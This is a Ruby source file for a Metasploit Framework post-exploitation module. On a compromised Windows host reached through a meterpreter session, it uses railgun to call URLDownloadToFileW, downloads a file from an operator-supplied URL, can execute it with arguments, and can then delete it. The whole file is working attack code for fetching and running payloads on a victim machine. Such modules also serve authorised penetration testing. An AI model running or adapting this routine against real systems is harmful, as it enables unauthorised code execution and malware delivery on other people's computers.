##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/common'

class Metasploit3 < Msf::Post

	include Msf::Post::File
	include Msf::Post::Common

	def initialize(info={})
		super(update_info(info,
			'Name'                 => "Windows Manage Download and/or Execute",
			'Description'          => %q{
				This module will download a file by importing urlmon via railgun.
				The user may also choose to execute the file with arguments via exec_string.
			},
			'License'              => MSF_LICENSE,
			'Platform'             => ['win'],
			'SessionTypes'         => ['meterpreter'],
			'Author'               => ['RageLtMan']
		))

		register_options(
			[
				OptString.new('URL',           [true, 'Full URL of file to download' ]),
				OptString.new('DOWNLOAD_PATH', [false, 'Full path for downloaded file' ]),
				OptString.new('FILENAME',      [false, 'Name for downloaded file' ]),
				OptBool.new(  'OUTPUT',        [true, 'Show execution output', true ]),
				OptBool.new(  'EXECUTE',       [true, 'Execute file after completion', false ]),
			], self.class)

		register_advanced_options(
			[
				OptString.new('EXEC_STRING',   [false, 'Execution parameters when run from download directory' ]),
				OptInt.new('EXEC_TIMEOUT',     [true, 'Execution timeout', 60 ]),
				OptBool.new(  'DELETE',        [true, 'Delete file after execution', false ]),
			], self.class)

	end

	# Check to see if our dll is loaded, load and configure if not

	def add_railgun_urlmon

		if client.railgun.dlls.find_all {|d| d.first == 'urlmon'}.empty?
			session.railgun.add_dll('urlmon','urlmon')
			session.railgun.add_function(
				'urlmon', 'URLDownloadToFileW', 'DWORD',
					[
						['PBLOB', 'pCaller', 'in'],
						['PWCHAR','szURL','in'],
						['PWCHAR','szFileName','in'],
						['DWORD','dwReserved','in'],
						['PBLOB','lpfnCB','inout']
			])
			vprint_good("urlmon loaded and configured")
		else
			vprint_status("urlmon already loaded")
		end

	end

	def run

		# Make sure we meet the requirements before running the script, note no need to return
		# unless error
		return 0 if session.type != "meterpreter"

		# get time
		strtime = Time.now

		# check/set vars
		url = datastore["URL"]
		filename = datastore["FILENAME"] || url.split('/').last

		download_path = session.fs.file.expand_path(datastore["DOWNLOAD_PATH"])
		if download_path.nil? or download_path.empty?
			path = session.fs.file.expand_path("%TEMP%")
		else
			path = download_path
		end

		outpath = path + '\\' + filename
		exec = datastore['EXECUTE']
		exec_string = datastore['EXEC_STRING'] || ''
		output = datastore['OUTPUT']
		remove = datastore['DELETE']

		# set up railgun
		add_railgun_urlmon

		# get our file
		vprint_status("Downloading #{url} to #{outpath}")
		client.railgun.urlmon.URLDownloadToFileW(nil,url,outpath,0,nil)

		# check our results
		begin
			out = session.fs.file.stat(outpath)
			print_status("#{out.stathash['st_size']} bytes downloaded to #{outpath} in #{(Time.now - strtime).to_i} seconds ")
		rescue
			print_error("File not found. The download probably failed")
			return
		end

		# Execute file upon request
		if exec
			begin
				cmd = "#{outpath} #{exec_string}"

				# If we don't have the following gsub, we get this error in Windows:
				# "Operation failed: The system cannot find the file specified"
				cmd = cmd.gsub(/\\/, '\\\\\\').gsub(/\s/, '\ ')

				print_status("Executing file: #{cmd}")
				res = cmd_exec(cmd, nil, datastore['EXEC_TIMEOUT'])
				print_good(res) if output and not res.empty?
			rescue ::Exception => e
				print_error("Unable to execute: #{e.message}")
			end
		end

		# remove file if needed
		if remove
			begin
				print_status("Deleting #{outpath}")
				session.fs.file.rm(outpath)
			rescue ::Exception => e
				print_error("Unable to remove file: #{e.message}")
			end
		end
	end
end
